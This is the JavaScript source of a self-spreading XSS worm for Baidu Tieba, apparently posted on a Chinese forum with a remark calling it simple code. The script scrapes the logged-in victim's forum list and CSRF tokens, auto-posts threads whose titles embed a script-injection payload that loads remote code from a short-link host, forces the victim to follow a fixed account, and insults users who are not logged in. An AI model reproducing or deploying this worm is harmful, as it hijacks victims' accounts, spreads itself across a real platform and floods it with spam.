|
|
- function createXHR(){
- return window.XMLHttpRequest?
- new XMLHttpRequest():
- new ActiveXObject("Microsoft.XMLHTTP");
- }
- function getmyforum(url){
- xmlHttp = createXHR();
- xmlHttp.open("GET",url,false);
- xmlHttp.send();
- result = xmlHttp.responseText;
- result = result.match(/\/f\?kw=[A-Z0-9\%]*&from=ucenter/g);
- return result;
- }
- function getarg(forumurl){
- xmlHttp = createXHR();
- xmlHttp.open("GET",forumurl,false);
- xmlHttp.send();
- result = xmlHttp.responseText;
- forumname = result.match("hidden" name="kw" id="kw" value="[^"]*").toString().split('"')[6];
- forumname = encodeURIComponent(forumname);
- fid = result.match("hidden" name="fid" id="fid" value="[^"]*").toString().split('"')[6];
- tbs = result.match("PageData.tbs = "[a-z0-9]+";").toString().split('"')[1];
- return [forumname,fid,tbs];
- }
- function publish_delay(data,i){
- var t=setTimeout("publish(data)",1000*i);
- }
- function publish(data){
- url="http://tieba.baidu.com/f/commit/thread/add";
- xmlHttp = createXHR();
- xmlHttp.open("POST",url,false);
- xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
- xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
- xmlHttp.send(data);
- }
- function followme(){
- url = "http://tieba.baidu.com/i/181104344";
- xmlHttp = createXHR();
- xmlHttp.open("GET",url,false);
- xmlHttp.send();
- result = xmlHttp.responseText;
- tbs = result.match("[^_]tbs : "[0-9a-z]*"").toString().split('"')[1];
- portrait = result.match(/UserInfo.request\("[0-9a-z]*/).toString().split('"')[1];
- if(tbs == null || portrait == null){
- return;
- }
- inf = 'cmd=follow&tbs=' + tbs + '&portrait=' + portrait;
- url="http://tieba.baidu.com/i/commit?stamp=" + new Date().getTime();;
- xmlHttp = createXHR();
- xmlHttp.open("POST",url);
- xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
- xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
- xmlHttp.send(inf);
- }
- function random_msg(){
- var tarr = new Array(
- '说不过就删帖封号,有意思吗?',
- '这个楼我们一定要盖啊啊啊?',
- '绝对震撼人心的语录,2011年',
- '显然,或者,哦,这事做错了?');
- var carr = new Array(
- ' RT ',
- ' 难道不是吗? ',
- ' 如题',
- '我想说啥来着??',
- '我爱大清国,我怕他完了....');
- title = tarr[Math.floor(Math.random()*(tarr.length))];
- content = carr[Math.floor(Math.random()*(carr.length))];
- return [encodeURIComponent(title),encodeURIComponent(content)];
- }
- function main(){
- document.getElementsByTagName('h1')[0].innerHTML = document.getElementsByTagName('h1')[0].innerHTML.split('/scr')[0];
- if(!PageData.is_login){
- tagp = document.getElementsByTagName('p');
- for (i=0;i<tagp.length;i++){
- if(tagp[i].innerHTML == '1楼'){
- tagp[i+1].innerHTML = 'BS你。看帖不登陆、不回帖、不顶贴的淫,我咒你木有小JJ!!';
- i = tagp.length;
- }
- }
- throw 'err';
- }
- myforum = 'http://tieba.baidu.com/f/user/myforum?v=' + new Date().getTime();
- forumarr = getmyforum(myforum);
- wormurl = encodeURIComponent('</script><script/src=//qr.net/edrn>');
- for (i=0;i<forumarr.length;i++){
- msg = random_msg();
- forumurl = 'http://tieba.baidu.com' + forumarr[i];
- argarr = getarg(forumurl);
- data = 'kw=' + argarr[0];
- data = data + '&fid=' + argarr[1];
- data = data + '&tid=0&floor_num=0&vcode_md5=&pic_url=&rich_text=1&hasuploadpic=0&picsign=&tfrom=1';
- data = data + '&title=' + msg[0] + wormurl + '&content=' + msg[1] + '%40samy_joke%3Cbr%3E';
- data = data + '&add_post_submit=%20%E5%8F%91%20%E8%A1%A8%20&ie=utf-8';
- data = data + '&tbs=' + argarr[2];
- publish(data);
- }
- followme();
- }
- var t=setTimeout("main()",3000);
复制代码
很简单的一段代码
|
|